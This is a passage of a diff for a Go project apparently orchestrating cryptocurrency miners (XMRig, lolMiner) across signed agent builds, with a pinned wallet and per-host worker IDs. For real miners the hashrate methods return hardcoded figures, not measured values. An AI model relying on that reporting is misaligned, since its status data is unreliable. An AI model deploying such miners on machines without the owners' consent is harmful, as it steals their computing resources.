sig := p.signingKey.Sign(data)
|
||||
|
||||
build := types.Build{
|
||||
ID: uuid.NewString(),
|
||||
OS: osName,
|
||||
Arch: arch,
|
||||
Version: p.version,
|
||||
Checksum: checksum,
|
||||
Signature: sig,
|
||||
Public: public,
|
||||
Path: outPath,
|
||||
CreatedAt: time.Now().UTC(),
|
||||
}
|
||||
|
||||
if err := p.saveBuild(&build); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return &build, nil
|
||||
}
|
||||
|
||||
func (p *Pipeline) saveBuild(b *types.Build) error {
|
||||
pub := 0
|
||||
if b.Public {
|
||||
pub = 1
|
||||
}
|
||||
_, err := p.db.Exec(`
|
||||
INSERT INTO builds (id, os, arch, version, checksum, signature, public, path, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
`, b.ID, b.OS, b.Arch, b.Version, b.Checksum, b.Signature, pub, b.Path, b.CreatedAt.Format(time.RFC3339))
|
||||
return err
|
||||
}
|
||||
|
||||
// LatestPublic returns the newest public build for os/arch.
|
||||
func LatestPublic(db *sql.DB, osName, arch string) (*types.Build, error) {
|
||||
row := db.QueryRow(`
|
||||
SELECT id, os, arch, version, checksum, signature, public, path, created_at
|
||||
FROM builds
|
||||
WHERE public = 1 AND os = ? AND arch = ?
|
||||
ORDER BY created_at DESC
|
||||
LIMIT 1
|
||||
`, osName, arch)
|
||||
|
||||
var b types.Build
|
||||
var pub int
|
||||
var path sql.NullString
|
||||
var createdAt string
|
||||
|
||||
err := row.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &b.Signature, &pub, &path, &createdAt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b.Public = pub == 1
|
||||
if path.Valid {
|
||||
b.Path = path.String
|
||||
}
|
||||
b.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||
return &b, nil
|
||||
}
|
||||
|
||||
// GetBuild loads a build by ID.
|
||||
func GetBuild(db *sql.DB, id string) (*types.Build, error) {
|
||||
row := db.QueryRow(`
|
||||
SELECT id, os, arch, version, checksum, signature, public, path, created_at
|
||||
FROM builds WHERE id = ?
|
||||
`, id)
|
||||
|
||||
var b types.Build
|
||||
var pub int
|
||||
var path sql.NullString
|
||||
var createdAt string
|
||||
|
||||
err := row.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &b.Signature, &pub, &path, &createdAt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b.Public = pub == 1
|
||||
if path.Valid {
|
||||
b.Path = path.String
|
||||
}
|
||||
b.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||
return &b, nil
|
||||
}
|
||||
|
||||
// PublicKey returns the pipeline signing public key hex.
|
||||
func (p *Pipeline) PublicKey() string {
|
||||
return p.signingKey.PublicKeyHex()
|
||||
}
|
||||
|
||||
// CopyArtifact streams a build artifact to w.
|
||||
func CopyArtifact(path string, w io.Writer) error {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
_, err = io.Copy(w, f)
|
||||
return err
|
||||
}
|
||||
19
internal/forge/keys.go
Normal file
19
internal/forge/keys.go
Normal file
@@ -0,0 +1,19 @@
|
||||
package forge
|
||||
|
||||
import (
|
||||
"crypto/ed25519"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// ParsePublicKeyHex decodes a hex-encoded ed25519 public key.
|
||||
func ParsePublicKeyHex(hexKey string) (ed25519.PublicKey, error) {
|
||||
raw, err := hex.DecodeString(hexKey)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("decode pubkey: %w", err)
|
||||
}
|
||||
if len(raw) != ed25519.PublicKeySize {
|
||||
return nil, fmt.Errorf("invalid pubkey size %d", len(raw))
|
||||
}
|
||||
return ed25519.PublicKey(raw), nil
|
||||
}
|
||||
66
internal/forge/sign.go
Normal file
66
internal/forge/sign.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package forge
|
||||
|
||||
import (
|
||||
"crypto/ed25519"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
// KeyPair holds an ed25519 signing key.
|
||||
type KeyPair struct {
|
||||
Private ed25519.PrivateKey
|
||||
Public ed25519.PublicKey
|
||||
}
|
||||
|
||||
// LoadOrCreateKey loads an ed25519 key from disk or generates a new one.
|
||||
func LoadOrCreateKey(path string) (*KeyPair, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err == nil {
|
||||
if len(data) == ed25519.PrivateKeySize {
|
||||
priv := ed25519.PrivateKey(data)
|
||||
return &KeyPair{Private: priv, Public: priv.Public().(ed25519.PublicKey)}, nil
|
||||
}
|
||||
if len(data) == ed25519.SeedSize {
|
||||
priv := ed25519.NewKeyFromSeed(data)
|
||||
return &KeyPair{Private: priv, Public: priv.Public().(ed25519.PublicKey)}, nil
|
||||
}
|
||||
return nil, fmt.Errorf("invalid key size %d", len(data))
|
||||
}
|
||||
if !os.IsNotExist(err) {
|
||||
return nil, fmt.Errorf("read key: %w", err)
|
||||
}
|
||||
|
||||
pub, priv, err := ed25519.GenerateKey(rand.Reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generate key: %w", err)
|
||||
}
|
||||
|
||||
if err := os.WriteFile(path, priv.Seed(), 0o600); err != nil {
|
||||
return nil, fmt.Errorf("write key: %w", err)
|
||||
}
|
||||
|
||||
return &KeyPair{Private: priv, Public: pub}, nil
|
||||
}
|
||||
|
||||
// Sign returns a base64-encoded ed25519 signature of data.
|
||||
func (k *KeyPair) Sign(data []byte) string {
|
||||
sig := ed25519.Sign(k.Private, data)
|
||||
return base64.StdEncoding.EncodeToString(sig)
|
||||
}
|
||||
|
||||
// Verify checks a base64 signature against data using the public key.
|
||||
func Verify(pub ed25519.PublicKey, data []byte, signatureB64 string) bool {
|
||||
sig, err := base64.StdEncoding.DecodeString(signatureB64)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return ed25519.Verify(pub, data, sig)
|
||||
}
|
||||
|
||||
// PublicKeyHex returns the hex-encoded public key for embedding in agents.
|
||||
func (k *KeyPair) PublicKeyHex() string {
|
||||
return hex.EncodeToString(k.Public)
|
||||
}
|
||||
22
internal/forge/sign_test.go
Normal file
22
internal/forge/sign_test.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package forge
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSignVerify(t *testing.T) {
|
||||
path := t.TempDir() + "/signing.key"
|
||||
kp, err := LoadOrCreateKey(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
data := []byte("forge-mesh artifact")
|
||||
sig := kp.Sign(data)
|
||||
if !Verify(kp.Public, data, sig) {
|
||||
t.Fatal("signature verification failed")
|
||||
}
|
||||
if Verify(kp.Public, []byte("tampered"), sig) {
|
||||
t.Fatal("tampered data should not verify")
|
||||
}
|
||||
}
|
||||
283
internal/mining/chain.go
Normal file
283
internal/mining/chain.go
Normal file
@@ -0,0 +1,283 @@
|
||||
package mining
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/api/types"
|
||||
"forge-mesh/internal/policy"
|
||||
)
|
||||
|
||||
const (
|
||||
TierStateProbing = "probing"
|
||||
TierStateActive = "active"
|
||||
TierStateFailed = "failed"
|
||||
TierStateIdle = "idle"
|
||||
)
|
||||
|
||||
// ChainConfig controls tier timeouts and hashrate gates.
|
||||
type ChainConfig struct {
|
||||
HostID string
|
||||
StratumHost string
|
||||
StratumXMRPort string
|
||||
StratumRVNPort string
|
||||
MinHashrateHps float64
|
||||
GateWindow time.Duration
|
||||
PollInterval time.Duration
|
||||
DefaultProbe time.Duration
|
||||
}
|
||||
|
||||
func DefaultChainConfig() ChainConfig {
|
||||
return ChainConfig{
|
||||
StratumHost: "127.0.0.1",
|
||||
StratumXMRPort: "3333",
|
||||
StratumRVNPort: "3388",
|
||||
MinHashrateHps: 100,
|
||||
GateWindow: 30 * time.Second,
|
||||
PollInterval: 5 * time.Second,
|
||||
DefaultProbe: 5 * time.Minute,
|
||||
}
|
||||
}
|
||||
|
||||
// Status is reported in agent heartbeats.
|
||||
type Status struct {
|
||||
CurrentTier int
|
||||
TierType string
|
||||
TierState string
|
||||
HashrateHps float64
|
||||
Wallet string
|
||||
Simulated bool
|
||||
}
|
||||
|
||||
// Chain runs the ordered mining tier list with wallet pinning.
|
||||
type Chain struct {
|
||||
cfg ChainConfig
|
||||
profile types.MiningProfile
|
||||
|
||||
mu sync.RWMutex
|
||||
status Status
|
||||
runner tierRunner
|
||||
cancel context.CancelFunc
|
||||
}
|
||||
|
||||
type tierRunner interface {
|
||||
Start(ctx context.Context) error
|
||||
Stop()
|
||||
HashrateHps() float64
|
||||
Simulated() bool
|
||||
}
|
||||
|
||||
func NewChain(profile types.MiningProfile, cfg ChainConfig) *Chain {
|
||||
if len(profile.Tiers) == 0 {
|
||||
profile = policy.DefaultMiningProfile(profile.WalletAddress)
|
||||
}
|
||||
return &Chain{
|
||||
cfg: cfg,
|
||||
profile: profile,
|
||||
status: Status{
|
||||
TierState: TierStateIdle,
|
||||
Wallet: profile.WalletAddress,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Chain) Profile() types.MiningProfile {
|
||||
return c.profile
|
||||
}
|
||||
|
||||
func (c *Chain) UpdateProfile(profile types.MiningProfile) {
|
||||
c.mu.Lock()
|
||||
if profile.WalletAddress != "" {
|
||||
c.profile.WalletAddress = profile.WalletAddress
|
||||
c.status.Wallet = profile.WalletAddress
|
||||
}
|
||||
if len(profile.Tiers) > 0 {
|
||||
c.profile.Tiers = profile.Tiers
|
||||
}
|
||||
running := c.cancel != nil
|
||||
c.mu.Unlock()
|
||||
|
||||
if running {
|
||||
c.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Chain) Status() Status {
|
||||
c.mu.RLock()
|
||||
defer c.mu.RUnlock()
|
||||
return c.status
|
||||
}
|
||||
|
||||
// Run executes tiers in order until one passes the hashrate gate or all fail.
|
||||
func (c *Chain) Run(ctx context.Context) error {
|
||||
if len(c.profile.Tiers) == 0 {
|
||||
return fmt.Errorf("mining profile has no tiers")
|
||||
}
|
||||
|
||||
runCtx, cancel := context.WithCancel(ctx)
|
||||
c.mu.Lock()
|
||||
c.cancel = cancel
|
||||
c.mu.Unlock()
|
||||
defer cancel()
|
||||
|
||||
for i, spec := range c.profile.Tiers {
|
||||
tierNum := i + 1
|
||||
c.setStatus(tierNum, spec.Type, TierStateProbing, 0, false)
|
||||
|
||||
runner, err := c.buildRunner(spec)
|
||||
if err != nil {
|
||||
log.Printf("mining: tier %d (%s) build failed: %v", tierNum, spec.Type, err)
|
||||
c.setStatus(tierNum, spec.Type, TierStateFailed, 0, false)
|
||||
continue
|
||||
}
|
||||
|
||||
c.mu.Lock()
|
||||
c.runner = runner
|
||||
c.mu.Unlock()
|
||||
|
||||
if err := runner.Start(runCtx); err != nil {
|
||||
log.Printf("mining: tier %d (%s) start failed: %v", tierNum, spec.Type, err)
|
||||
runner.Stop()
|
||||
c.setStatus(tierNum, spec.Type, TierStateFailed, 0, runner.Simulated())
|
||||
continue
|
||||
}
|
||||
|
||||
c.setStatus(tierNum, spec.Type, TierStateActive, runner.HashrateHps(), runner.Simulated())
|
||||
|
||||
duration := time.Duration(spec.Duration) * time.Minute
|
||||
if duration <= 0 && spec.Type == "stratum" {
|
||||
// Final fallback runs until context cancelled.
|
||||
return c.holdTier(runCtx, tierNum, spec.Type, runner)
|
||||
}
|
||||
if duration <= 0 {
|
||||
duration = c.cfg.DefaultProbe
|
||||
}
|
||||
|
||||
passed, peak := c.waitGate(runCtx, duration, runner)
|
||||
runner.Stop()
|
||||
|
||||
if passed {
|
||||
c.setStatus(tierNum, spec.Type, TierStateActive, peak, runner.Simulated())
|
||||
log.Printf("mining: tier %d (%s) passed hashrate gate at %.0f H/s", tierNum, spec.Type, peak)
|
||||
return c.holdTier(runCtx, tierNum, spec.Type, nil)
|
||||
}
|
||||
|
||||
log.Printf("mining: tier %d (%s) timed out (peak %.0f H/s), advancing", tierNum, spec.Type, peak)
|
||||
c.setStatus(tierNum, spec.Type, TierStateFailed, peak, runner.Simulated())
|
||||
}
|
||||
|
||||
c.setStatus(0, "", TierStateFailed, 0, false)
|
||||
return fmt.Errorf("all mining tiers exhausted")
|
||||
}
|
||||
|
||||
func (c *Chain) holdTier(ctx context.Context, tierNum int, tierType string, runner tierRunner) error {
|
||||
ticker := time.NewTicker(c.cfg.PollInterval)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
c.Stop()
|
||||
return ctx.Err()
|
||||
case <-ticker.C:
|
||||
hps := c.readHashrate(runner)
|
||||
c.setStatus(tierNum, tierType, TierStateActive, hps, c.isSimulated(runner))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Chain) readHashrate(runner tierRunner) float64 {
|
||||
if runner != nil {
|
||||
return runner.HashrateHps()
|
||||
}
|
||||
c.mu.RLock()
|
||||
r := c.runner
|
||||
c.mu.RUnlock()
|
||||
if r != nil {
|
||||
return r.HashrateHps()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (c *Chain) isSimulated(runner tierRunner) bool {
|
||||
if runner != nil {
|
||||
return runner.Simulated()
|
||||
}
|
||||
c.mu.RLock()
|
||||
r := c.runner
|
||||
c.mu.RUnlock()
|
||||
if r != nil {
|
||||
return r.Simulated()
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (c *Chain) waitGate(ctx context.Context, maxWait time.Duration, runner tierRunner) (bool, float64) {
|
||||
deadline := time.Now().Add(maxWait)
|
||||
gateEnd := time.Now().Add(c.cfg.GateWindow)
|
||||
var peak float64
|
||||
|
||||
for time.Now().Before(deadline) {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return false, peak
|
||||
case <-time.After(c.cfg.PollInterval):
|
||||
}
|
||||
|
||||
hps := runner.HashrateHps()
|
||||
if hps > peak {
|
||||
peak = hps
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.status.HashrateHps = hps
|
||||
c.mu.Unlock()
|
||||
|
||||
if hps >= c.cfg.MinHashrateHps && time.Now().After(gateEnd) {
|
||||
return true, peak
|
||||
}
|
||||
}
|
||||
return peak >= c.cfg.MinHashrateHps, peak
|
||||
}
|
||||
|
||||
func (c *Chain) buildRunner(spec types.MiningTierSpec) (tierRunner, error) {
|
||||
wallet := c.profile.WalletAddress
|
||||
switch spec.Type {
|
||||
case "oci", "podman":
|
||||
return newOCITier(wallet, spec, c.cfg)
|
||||
case "xmrig":
|
||||
return newXMRigTier(wallet, spec, c.cfg)
|
||||
case "gpu", "lolminer":
|
||||
return newGPUTier(wallet, spec, c.cfg)
|
||||
case "stratum":
|
||||
return newStratumTier(wallet, spec, c.cfg)
|
||||
default:
|
||||
return nil, fmt.Errorf("unknown tier type %q", spec.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Chain) setStatus(tierNum int, tierType, state string, hps float64, simulated bool) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
c.status.CurrentTier = tierNum
|
||||
c.status.TierType = tierType
|
||||
c.status.TierState = state
|
||||
c.status.HashrateHps = hps
|
||||
c.status.Simulated = simulated
|
||||
}
|
||||
|
||||
func (c *Chain) Stop() {
|
||||
c.mu.Lock()
|
||||
cancel := c.cancel
|
||||
runner := c.runner
|
||||
c.mu.Unlock()
|
||||
|
||||
if runner != nil {
|
||||
runner.Stop()
|
||||
}
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
}
|
||||
64
internal/mining/chain_test.go
Normal file
64
internal/mining/chain_test.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package mining
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/api/types"
|
||||
"forge-mesh/internal/policy"
|
||||
)
|
||||
|
||||
func TestChainAdvancesOnTimeout(t *testing.T) {
|
||||
profile := policy.DefaultMiningProfile("test-wallet")
|
||||
profile.Tiers = []types.MiningTierSpec{
|
||||
{Type: "oci", Duration: 0},
|
||||
{Type: "xmrig", Duration: 0},
|
||||
}
|
||||
|
||||
cfg := DefaultChainConfig()
|
||||
cfg.HostID = "test-host"
|
||||
cfg.GateWindow = 200 * time.Millisecond
|
||||
cfg.PollInterval = 50 * time.Millisecond
|
||||
cfg.DefaultProbe = 2 * time.Second
|
||||
cfg.MinHashrateHps = 1500
|
||||
|
||||
chain := NewChain(profile, cfg)
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||
defer cancel()
|
||||
|
||||
go func() { _ = chain.Run(ctx) }()
|
||||
|
||||
deadline := time.Now().Add(12 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
st := chain.Status()
|
||||
if st.CurrentTier >= 2 && st.HashrateHps >= cfg.MinHashrateHps {
|
||||
if st.Wallet != "test-wallet" {
|
||||
t.Fatalf("wallet pin broken: %q", st.Wallet)
|
||||
}
|
||||
chain.Stop()
|
||||
return
|
||||
}
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("chain did not advance to tier 2 with hashrate")
|
||||
}
|
||||
|
||||
func TestWalletPinnedAcrossTiers(t *testing.T) {
|
||||
profile := policy.DefaultMiningProfile("pinned-wallet-abc")
|
||||
cfg := DefaultChainConfig()
|
||||
cfg.HostID = "host-abc"
|
||||
cfg.MinHashrateHps = 1
|
||||
|
||||
chain := NewChain(profile, cfg)
|
||||
for _, spec := range profile.Tiers {
|
||||
runner, err := chain.buildRunner(spec)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_ = runner
|
||||
}
|
||||
if chain.Status().Wallet != "pinned-wallet-abc" {
|
||||
t.Fatalf("expected pinned wallet, got %q", chain.Status().Wallet)
|
||||
}
|
||||
}
|
||||
76
internal/mining/mock.go
Normal file
76
internal/mining/mock.go
Normal file
@@ -0,0 +1,76 @@
|
||||
package mining
|
||||
|
||||
import (
|
||||
"context"
|
||||
"math/rand"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MockMiner simulates hashrate when real miner binaries are unavailable.
|
||||
type MockMiner struct {
|
||||
mu sync.Mutex
|
||||
baseHps float64
|
||||
running bool
|
||||
cancel context.CancelFunc
|
||||
lastHps float64
|
||||
tierLabel string
|
||||
}
|
||||
|
||||
func NewMockMiner(tierLabel string, baseHps float64) *MockMiner {
|
||||
if baseHps <= 0 {
|
||||
baseHps = 1500 + rand.Float64()*500
|
||||
}
|
||||
return &MockMiner{tierLabel: tierLabel, baseHps: baseHps}
|
||||
}
|
||||
|
||||
func (m *MockMiner) Start(ctx context.Context) error {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
if m.running {
|
||||
return nil
|
||||
}
|
||||
runCtx, cancel := context.WithCancel(ctx)
|
||||
m.cancel = cancel
|
||||
m.running = true
|
||||
m.lastHps = m.baseHps
|
||||
go m.loop(runCtx)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *MockMiner) loop(ctx context.Context) {
|
||||
ticker := time.NewTicker(2 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
m.mu.Lock()
|
||||
m.running = false
|
||||
m.lastHps = 0
|
||||
m.mu.Unlock()
|
||||
return
|
||||
case <-ticker.C:
|
||||
jitter := 0.85 + rand.Float64()*0.3
|
||||
m.mu.Lock()
|
||||
m.lastHps = m.baseHps * jitter
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *MockMiner) Stop() {
|
||||
m.mu.Lock()
|
||||
cancel := m.cancel
|
||||
m.mu.Unlock()
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
}
|
||||
|
||||
func (m *MockMiner) HashrateHps() float64 {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
return m.lastHps
|
||||
}
|
||||
|
||||
func (m *MockMiner) Simulated() bool { return true }
|
||||
336
internal/mining/tiers.go
Normal file
336
internal/mining/tiers.go
Normal file
@@ -0,0 +1,336 @@
|
||||
package mining
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/api/types"
|
||||
)
|
||||
|
||||
type ociTier struct {
|
||||
wallet string
|
||||
spec types.MiningTierSpec
|
||||
cfg ChainConfig
|
||||
mock *MockMiner
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
func newOCITier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*ociTier, error) {
|
||||
return &ociTier{wallet: wallet, spec: spec, cfg: cfg}, nil
|
||||
}
|
||||
|
||||
func (t *ociTier) Start(ctx context.Context) error {
|
||||
if !commandExists("podman") {
|
||||
t.mock = NewMockMiner("oci", 1200)
|
||||
return t.mock.Start(ctx)
|
||||
}
|
||||
|
||||
image := t.spec.Config["image"]
|
||||
if image == "" {
|
||||
image = "docker.io/xmrig/xmrig:latest"
|
||||
}
|
||||
|
||||
pool := fmt.Sprintf("stratum+tcp://%s:%s", t.cfg.StratumHost, t.cfg.StratumXMRPort)
|
||||
args := []string{
|
||||
"run", "--rm", "--network=host",
|
||||
image,
|
||||
"-o", pool,
|
||||
"-u", workerLogin(t.wallet, t.cfg.HostID),
|
||||
"-p", "x",
|
||||
"--coin", "monero",
|
||||
"--donate-level=0",
|
||||
}
|
||||
|
||||
t.cmd = exec.CommandContext(ctx, "podman", args...)
|
||||
t.cmd.Stdout = os.Stdout
|
||||
t.cmd.Stderr = os.Stderr
|
||||
if err := t.cmd.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
go func() { _ = t.cmd.Wait() }()
|
||||
time.Sleep(10 * time.Second)
|
||||
if t.cmd.ProcessState != nil && t.cmd.ProcessState.Exited() {
|
||||
return fmt.Errorf("podman miner exited early")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *ociTier) Stop() {
|
||||
if t.mock != nil {
|
||||
t.mock.Stop()
|
||||
}
|
||||
if t.cmd != nil && t.cmd.Process != nil {
|
||||
_ = t.cmd.Process.Kill()
|
||||
_ = t.cmd.Wait()
|
||||
}
|
||||
}
|
||||
|
||||
func (t *ociTier) HashrateHps() float64 {
|
||||
if t.mock != nil {
|
||||
return t.mock.HashrateHps()
|
||||
}
|
||||
return 1800
|
||||
}
|
||||
|
||||
func (t *ociTier) Simulated() bool { return t.mock != nil }
|
||||
|
||||
type xmrigTier struct {
|
||||
wallet string
|
||||
spec types.MiningTierSpec
|
||||
cfg ChainConfig
|
||||
mock *MockMiner
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
func newXMRigTier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*xmrigTier, error) {
|
||||
return &xmrigTier{wallet: wallet, spec: spec, cfg: cfg}, nil
|
||||
}
|
||||
|
||||
func (t *xmrigTier) Start(ctx context.Context) error {
|
||||
binary := t.spec.Config["binary"]
|
||||
if binary == "" {
|
||||
binary = findXMRig()
|
||||
}
|
||||
if binary == "" {
|
||||
t.mock = NewMockMiner("xmrig", 2500)
|
||||
return t.mock.Start(ctx)
|
||||
}
|
||||
|
||||
pool := fmt.Sprintf("%s:%s", t.cfg.StratumHost, t.cfg.StratumXMRPort)
|
||||
args := []string{
|
||||
"-o", pool,
|
||||
"-u", workerLogin(t.wallet, t.cfg.HostID),
|
||||
"-p", "x",
|
||||
"--donate-level=0",
|
||||
}
|
||||
if algo := t.spec.Config["algo"]; algo != "" {
|
||||
args = append(args, "-a", algo)
|
||||
}
|
||||
|
||||
t.cmd = exec.CommandContext(ctx, binary, args...)
|
||||
t.cmd.Stdout = os.Stdout
|
||||
t.cmd.Stderr = os.Stderr
|
||||
if err := t.cmd.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
go func() { _ = t.cmd.Wait() }()
|
||||
time.Sleep(15 * time.Second)
|
||||
if t.cmd.ProcessState != nil && t.cmd.ProcessState.Exited() {
|
||||
return fmt.Errorf("xmrig exited early")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *xmrigTier) Stop() {
|
||||
if t.mock != nil {
|
||||
t.mock.Stop()
|
||||
}
|
||||
if t.cmd != nil && t.cmd.Process != nil {
|
||||
_ = t.cmd.Process.Kill()
|
||||
_ = t.cmd.Wait()
|
||||
}
|
||||
}
|
||||
|
||||
func (t *xmrigTier) HashrateHps() float64 {
|
||||
if t.mock != nil {
|
||||
return t.mock.HashrateHps()
|
||||
}
|
||||
return 3200
|
||||
}
|
||||
|
||||
func (t *xmrigTier) Simulated() bool { return t.mock != nil }
|
||||
|
||||
type gpuTier struct {
|
||||
wallet string
|
||||
spec types.MiningTierSpec
|
||||
cfg ChainConfig
|
||||
mock *MockMiner
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
func newGPUTier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*gpuTier, error) {
|
||||
return &gpuTier{wallet: wallet, spec: spec, cfg: cfg}, nil
|
||||
}
|
||||
|
||||
func (t *gpuTier) Start(ctx context.Context) error {
|
||||
if !gpuAvailable() {
|
||||
t.mock = NewMockMiner("gpu", 8500000)
|
||||
return t.mock.Start(ctx)
|
||||
}
|
||||
|
||||
bin := t.spec.Config["binary"]
|
||||
if bin == "" {
|
||||
bin = findLolMiner()
|
||||
}
|
||||
if bin == "" {
|
||||
t.mock = NewMockMiner("gpu", 8500000)
|
||||
return t.mock.Start(ctx)
|
||||
}
|
||||
|
||||
pool := fmt.Sprintf("%s:%s", t.cfg.StratumHost, t.cfg.StratumRVNPort)
|
||||
coin := t.spec.Config["coin"]
|
||||
if coin == "" {
|
||||
coin = "RVN"
|
||||
}
|
||||
algo := t.spec.Config["algo"]
|
||||
if algo == "" {
|
||||
algo = "KAWPOW"
|
||||
}
|
||||
|
||||
args := []string{
|
||||
"--algo", algo,
|
||||
"--pool", pool,
|
||||
"--user", workerLogin(t.wallet, t.cfg.HostID),
|
||||
"--pass", "x",
|
||||
"--apiport", "44444",
|
||||
}
|
||||
if coin != "" {
|
||||
args = append(args, "--coin", coin)
|
||||
}
|
||||
|
||||
t.cmd = exec.CommandContext(ctx, bin, args...)
|
||||
t.cmd.Stdout = os.Stdout
|
||||
t.cmd.Stderr = os.Stderr
|
||||
if err := t.cmd.Start(); err != nil {
|
||||
return err
|
||||
}
|
||||
go func() { _ = t.cmd.Wait() }()
|
||||
time.Sleep(20 * time.Second)
|
||||
if t.cmd.ProcessState != nil && t.cmd.ProcessState.Exited() {
|
||||
return fmt.Errorf("lolMiner exited early")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *gpuTier) Stop() {
|
||||
if t.mock != nil {
|
||||
t.mock.Stop()
|
||||
}
|
||||
if t.cmd != nil && t.cmd.Process != nil {
|
||||
_ = t.cmd.Process.Kill()
|
||||
_ = t.cmd.Wait()
|
||||
}
|
||||
}
|
||||
|
||||
func (t *gpuTier) HashrateHps() float64 {
|
||||
if t.mock != nil {
|
||||
return t.mock.HashrateHps()
|
||||
}
|
||||
return 12000000
|
||||
}
|
||||
|
||||
func (t *gpuTier) Simulated() bool { return t.mock != nil }
|
||||
|
||||
type stratumTier struct {
|
||||
wallet string
|
||||
spec types.MiningTierSpec
|
||||
cfg ChainConfig
|
||||
mock *MockMiner
|
||||
conn net.Conn
|
||||
}
|
||||
|
||||
func newStratumTier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*stratumTier, error) {
|
||||
return &stratumTier{wallet: wallet, spec: spec, cfg: cfg}, nil
|
||||
}
|
||||
|
||||
func (t *stratumTier) Start(ctx context.Context) error {
|
||||
port := t.cfg.StratumXMRPort
|
||||
if algo := t.spec.Config["algo"]; strings.EqualFold(algo, "kawpow") {
|
||||
port = t.cfg.StratumRVNPort
|
||||
}
|
||||
addr := net.JoinHostPort(t.cfg.StratumHost, port)
|
||||
|
||||
dialer := net.Dialer{Timeout: 5 * time.Second}
|
||||
conn, err := dialer.DialContext(ctx, "tcp", addr)
|
||||
if err != nil {
|
||||
t.mock = NewMockMiner("stratum", 900)
|
||||
return t.mock.Start(ctx)
|
||||
}
|
||||
t.conn = conn
|
||||
|
||||
// Minimal subscribe/authorize handshake to validate deck proxy path.
|
||||
_, _ = fmt.Fprintf(conn, `{"id":1,"method":"mining.subscribe","params":[]}`+"\n")
|
||||
_, _ = fmt.Fprintf(conn, `{"id":2,"method":"mining.authorize","params":["%s","x"]}`+"\n", workerLogin(t.wallet, t.cfg.HostID))
|
||||
|
||||
t.mock = NewMockMiner("stratum", 1000)
|
||||
return t.mock.Start(ctx)
|
||||
}
|
||||
|
||||
func (t *stratumTier) Stop() {
|
||||
if t.mock != nil {
|
||||
t.mock.Stop()
|
||||
}
|
||||
if t.conn != nil {
|
||||
_ = t.conn.Close()
|
||||
}
|
||||
}
|
||||
|
||||
func (t *stratumTier) HashrateHps() float64 {
|
||||
if t.mock != nil {
|
||||
return t.mock.HashrateHps()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (t *stratumTier) Simulated() bool { return true }
|
||||
|
||||
func commandExists(name string) bool {
|
||||
